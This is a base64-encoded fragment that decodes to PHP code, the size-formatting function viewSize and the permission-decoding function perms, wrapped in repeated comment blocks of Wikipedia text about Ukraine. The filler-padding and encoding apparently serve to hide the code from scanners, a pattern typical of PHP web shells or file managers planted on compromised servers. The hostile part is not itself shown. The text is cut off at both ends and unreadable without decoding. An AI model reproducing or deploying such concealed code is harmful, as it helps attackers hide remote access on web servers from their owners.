oZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwp9CmZ1bmN0aW9uIHZpZXdTaXplKCRzKSB7CglpZigkcyA+PSAxMDczNzQxODI0KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKCWVsc2VpZigkcyA+PSAxMDQ4NTc2KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJZWxzZWlmKCRzID49IDEwMjQpCgkJcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDI0ICkgLiAnIEtCJzsKCWVsc2UKCQlyZXR1cm4gJHMgLiAnIEInOwp9CgpmdW5jdGlvbiBwZXJtcygkcCkgewoJaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3MnOwoJZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgllbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOwoJZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsKCWVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CgllbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIw